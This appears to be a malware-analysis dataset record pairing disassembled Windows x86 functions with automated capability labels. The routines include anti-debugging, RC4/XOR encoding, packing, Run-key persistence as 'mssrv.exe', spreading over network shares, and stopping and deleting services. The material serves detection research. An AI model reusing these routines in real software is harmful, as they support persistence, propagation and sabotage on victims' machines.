joyce8/EMBER2024-capa huggingface dataset:
Function at 0x446900
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x446933
push esi
call fcn.00454cb0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x44692c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x4469b9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x4469a2
mov eax, dword [esi + 8]
test eax, eax
je 0x446957
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x44699e
cmp eax, 2
je 0x4469a2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x44694a
cmp eax, 3
je 0x44697d
cmp eax, 1
jne 0x44694a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x44694a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x44694a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.004469e0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x4469c8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.004469e0
add esp, 4
pop esi
ret

Function at 0x447250
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x447271
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x447271
mov eax, dword [eax + 0x44]
test eax, eax
je 0x447271
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4665d0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4d5ec4]
xor edx, edx
cmp eax, edx
jne 0x4665f6
xor eax, eax
mov byte [eax + 0x4d5dc4], al
inc eax
cmp eax, 0x100
jl 0x4665de
mov dword [0x4d5ec4], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4d5dc4
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x466687
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x46665a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x466628
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x466690
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4666e3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4666ca
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x46d070
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x49927e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.0046d990
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x4a261c
call fcn.0048b1c6
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x46d103
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0048b1c6
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x46d0fc
push 0
mov ecx, eax
call fcn.00464210
mov dword [esi + 0xc], eax
jmp 0x46d105
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x46d105
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x48d812
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x48d84a
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0048b8e0
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0048b8b8
jmp 0x48d856
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x48ef04
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x48ef46
call fcn.00494882
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x48ef46
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x48ef3d
xor eax, eax
jmp 0x48ef4e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0048ef54
pop edi
pop esi
pop ebx
ret 4
Function at 0x494db2
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x494de0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x494dfe
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00494d18
jmp 0x494dfe
mov eax, dword [esi + 0x14]
test eax, eax
je 0x494dfe
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00494d18
test edi, edi
mov eax, edi
jne 0x494de8
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403e6a
nop
nop
sub eax, 0x403e10
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x401080
Capabilities:
Get disk information

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x6c
push ebx
push esi
push edi
lea edi, [ebp - 3]
mov esi, section..rdata
push 3
pop ecx
push eax
pop eax
rep movsb byte es:[edi], byte [esi]
sub ebx, ebx
mov eax, ebx
movsx eax, al
add eax, 0x41
mov byte [ebp - 3], al
lea eax, [ebp - 3]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp + ebx*4 - 0x6c], eax
add ebx, 1
cmp ebx, 0x1a
jl 0x40109a
mov edi, dword [ebp + 8]
lea esi, [ebp - 0x6c]
nop
push 0x1a
nop
pop ecx
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret

Function at 0x4010d0
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push esi
push edi
lea edi, [ebp - 0x1fe]
mov esi, 0x40c003
pushal
popal
push 0x3f
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xff]
mov esi, 0x40c102
pushal
popal
push 0x3f
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x214], 0xff
lea edi, [ebp - 0x208]
mov esi, 0x40c201
nop
push 2
nop
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x209]
mov esi, 0x40c20b
pushfd
xor ecx, ecx
inc ecx
popfd
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x21c]
mov esi, 0x40c20c
pushal
popal
push 8
pop ecx
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1fe]
push eax
lea eax, [ebp - 0x209]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHELL32.dll_FindExecutableA]
cmp eax, 0x20
jbe 0x4011e4
lea eax, [ebp - 0x210]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4011e4
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0xff]
push eax
push 0
push 0
lea eax, [ebp - 0x21c]
push eax
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
or eax, eax
jne 0x4011e4
push 0xa
lea eax, [ebp - 0x1fe]
push eax
lea eax, [ebp - 0xff]
push eax
call fcn.00403730
add esp, 0xc
test eax, eax
jne 0x4011e4
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pushfd
xor eax, eax
inc eax
popfd
jmp 0x4011f3
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
sub eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401200
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
push edi
lea edi, [ebp - 0x32]
mov esi, 0x40c214
push 0xb
pop ecx
nop
nop
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3a]
mov esi, 0x40c242
mov ecx, 8
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 4]
push eax
push 2
push 0
lea eax, [ebp - 0x32]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401279
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 1
push 0
lea eax, [ebp - 0x3a]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
or eax, eax
jne 0x40126f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x40127e
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pushfd
xor eax, eax
inc eax
popfd
pop edi
pop esi
push ebp
pop esp
pop ebp
ret

Function at 0x401290
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push esi
push edi
lea edi, [ebp - 0x36]
mov esi, 0x40c24a
push 0xb
pop ecx
pushal
popal
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3e]
mov esi, str.mssrv32
mov ecx, 8
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 4]
push eax
push reloc.WS2_32.dll_bind
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
or eax, eax
jne 0x40131f
lea eax, [ebp - 8]
push eax
push 2
push 0
lea eax, [ebp - 0x36]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or eax, eax
jne 0x401329
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 1
push 0
lea eax, [ebp - 0x3e]
push eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x401329
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
sub eax, eax
jmp 0x401338
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pushfd
xor eax, eax
inc eax
popfd
pop edi
pop esi
push ebp
pop esp
pop ebp
ret

Function at 0x401340
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
call fcn.004010d0
cmp eax, 1
je 0x4013a4
push 0xff
lea eax, [ebp - 0xff]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.mssrv.exe
lea eax, [ebp - 0xff]
push eax
call fcn.00403780
add esp, 8
lea eax, [ebp - 0xff]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.00401d90
add esp, 8
test eax, eax
jne 0x4013a4
push 0xff
lea eax, [ebp - 0xff]
push eax
call fcn.00401200
add esp, 8
push ebp
pop esp
pop ebp
ret
Function at 0x4013b0
Capabilities:
Connect network resource

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x39c
push ebx
push esi
push edi
sub ebx, ebx
lea edi, [ebp - 0x74]
mov esi, 0x40c280
nop
nop
push 0x1d
pop ecx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x39c], eax
lea ecx, [ebp - 0x193]
push eax
pop edx
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4013e1
pop eax
lea ecx, [ebp - 0x292]
mov eax, dword [ebp - 0x39c]
mov edx, eax
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4013ff
pop eax
lea eax, [ebp - 0x292]
push eax
call fcn.00401cf0
pop ecx
mov dword [ebp - 0x94], 2
mov dword [ebp - 0x90], 1
mov dword [ebp - 0x8c], 3
mov dword [ebp - 0x88], 1
mov dword [ebp - 0x84], 0
lea eax, [ebp - 0x193]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0
push 0
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x94]
push eax
call sub.MPR.dll_WNetAddConnection2A
mov dword [ebp - 0x398], eax
jmp 0x401483
add ebx, 1
mov eax, dword [ebp + ebx*4 - 0x74]
or eax, eax
jne 0x401480
push ebx
push 0
call fcn.00401c90
add esp, 8
lea ecx, [ebp - 0x391]
mov edx, dword [ebp + eax*4 - 0x74]
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4014a3
pop eax
push 0x40c33c
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403780
add esp, 8
lea eax, [ebp - 0x391]
push eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403780
add esp, 8
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.00401d90
add esp, 8
or eax, eax
jne 0x401511
lea eax, [ebp - 0x292]
push eax
push 4
mov eax, dword [ebp + 8]
push eax
call fcn.00401290
add esp, 0xc
push 1
push 1
lea eax, [ebp - 0x193]
push eax
call sub.MPR.dll_WNetCancelConnection2A
sub eax, eax
jmp 0x401526
push 1
push 1
lea eax, [ebp - 0x193]
push eax
call sub.MPR.dll_WNetCancelConnection2A
pushfd
xor eax, eax
inc eax
popfd
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret

Function at 0x401530
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x104], 0xff
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0xff]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
pop ecx
mov edx, 0x40c339
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x401565
pop eax
lea eax, [ebp - 0xff]
push eax
push ebx
call fcn.00403780
add esp, 8
pop ebx
push ebp
pop esp
pop ebp
ret
Function at 0x401b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
sub ebx, ebx
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call fcn.00401cb0
cmp eax, 4
jb 0x401c86
push 0
call fcn.00404760
pop ecx
push eax
call fcn.004047b0
pop ecx
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x4027b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x4026b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x402830
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00402430
call fcn.00403680
mov ecx, 0x3e8
cdq
idiv ecx
lea eax, [edx + 1]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push str.mutex666
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov ebx, eax
or ebx, ebx
je 0x401c57
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x401c73
push str.mutex666
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebx, eax
or ebx, ebx
je 0x401c73
call fcn.00401a70
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x401c36
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401d90
Capabilities:
Read file via mapping
Write file on windows

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 8], 0
sub ebx, ebx
call fcn.00403680
and eax, 0x1fffff
lea esi, [eax + 0x400]
lea eax, [esi*4]
push eax
call fcn.00403dc0
pop ecx
mov ebx, eax
push 0
push 0
push 3
push 0
push 1
push bind
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 4
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x18], eax
mov dword [ebp - 8], eax
push 0
push pe_nt_image_headers32
push 2
push 0
push 1
push 0xc0000000
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0x1c]
push eax
push 0x14dfc
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0xc], eax
or eax, eax
je 0x401e92
test ebx, ebx
je 0x401e92
xor edi, edi
jmp 0x401e67
call fcn.00403680
mov ecx, bind
cdq
idiv ecx
mov dword [ebx + edi*4], edx
add edi, 1
mov eax, edi
cmp eax, esi
jb 0x401e54
push 2
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x1c]
push eax
push esi
push ebx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x20], eax
push ebx
call fcn.00404670
pop ecx
sub ebx, ebx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xc], 0
je 0x401ed3
cmp dword [ebp - 0x20], 0
je 0x401ed3
sub eax, eax
jmp 0x401ed8
pushfd
xor eax, eax
inc eax
popfd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4020b0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
push 0x416f54
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4021c5
xor eax, eax
jmp 0x4021d6
test byte [0x416f54], 0x10
je 0x4021b3
mov ecx, 0x416f80
mov edx, 0x40c9e3
sub eax, eax
mov al, byte [edx]
mov ah, byte [ecx]
sub ah, al
jne 0x40210a
test al, al
je 0x40210f
add edx, 1
add ecx, 1
jmp 0x4020f6
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4021b3
mov ecx, 0x416f80
mov edx, 0x40c9e0
sub eax, eax
mov al, byte [edx]
mov ah, byte [ecx]
sub ah, al
jne 0x402137
test al, al
je 0x40213c
add edx, 1
add ecx, 1
jmp 0x402123
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4021b3
push 3
push ebx
call fcn.00401ee0
add esp, 8
lea ecx, [ebp - 0x400]
mov edx, eax
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x402156
pop eax
push 0x416f80
lea eax, [ebp - 0x400]
push eax
call fcn.00403780
add esp, 8
push 0x416f80
lea eax, [ebp - 0x400]
push eax
call fcn.00401f60
add esp, 8
push str..
lea eax, [ebp - 0x400]
push eax
call fcn.00403780
add esp, 8
lea eax, [ebp - 0x400]
push eax
call fcn.004020b0
pop ecx
mov byte [ebp - 0x400], 0
push 0x416f54
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push eax
pop esi
or esi, esi
je 0x4021cd
or esi, esi
jne 0x4020dd
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402430
Capabilities:
Modify service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 4], 0x64
sub edi, edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push eax
pop ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 8], eax
or ebx, ebx
je 0x4024bd
push 0
push str.Messenger
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x4024b6
push 0x40ca74
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 2
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
or eax, eax
je 0x4024b6
jmp 0x4024ae
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
cmp edi, 0xc8
jl 0x402499
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4024e0
Capabilities:
Delete service
Enumerate services
Stop service

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x154
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], 0
sub esi, esi
mov dword [ebp - 0x108], 1
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push eax
pop ebx
mov dword [ebp - 0x10c], 0
test ebx, ebx
je 0x40269c
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x138]
push eax
push 0x24
lea eax, [ebp - 0x134]
push eax
push 1
push 0x30
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
mov dword [ebp - 0x108], eax
test eax, eax
je 0x402568
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x40269c
mov eax, dword [ebp - 0x138]
push eax
call fcn.00403dc0
pop ecx
push eax
pop esi
test esi, esi
je 0x402693
call dword [sym.imp.KERNEL32.dll_GetLastError]
or eax, eax
jne 0x402693
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x138]
push eax
mov eax, dword [ebp - 0x138]
add eax, 0x24
push eax
push esi
push 1
push 0x30
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
or eax, eax
je 0x402693
sub edi, edi
jmp 0x402685
lea ecx, [ebp - 0x103]
imul eax, edi, 0x24
mov edx, dword [esi + eax]
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4025d6
pop eax
lea edx, [ebp - 0x103]
or eax, 0xffffffff
add eax, 1
cmp byte [edx + eax], 0
jne 0x4025ec
push eax
lea eax, [ebp - 0x103]
push eax
call fcn.004023d0
add esp, 8
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x103]
push eax
call fcn.004047d0
add esp, 8
test eax, eax
je 0x402682
push 0x20
imul eax, edi, 0x24
mov eax, dword [esi + eax]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
test eax, eax
je 0x402678
lea eax, [ebp - 0x154]
push eax
push 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10000
imul eax, edi, 0x24
mov eax, dword [esi + eax]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add edi, 1
mov eax, edi
cmp eax, dword [ebp - 0x110]
jb 0x4025c7
push esi
call fcn.00404670
pop ecx
xor esi, esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
sub eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret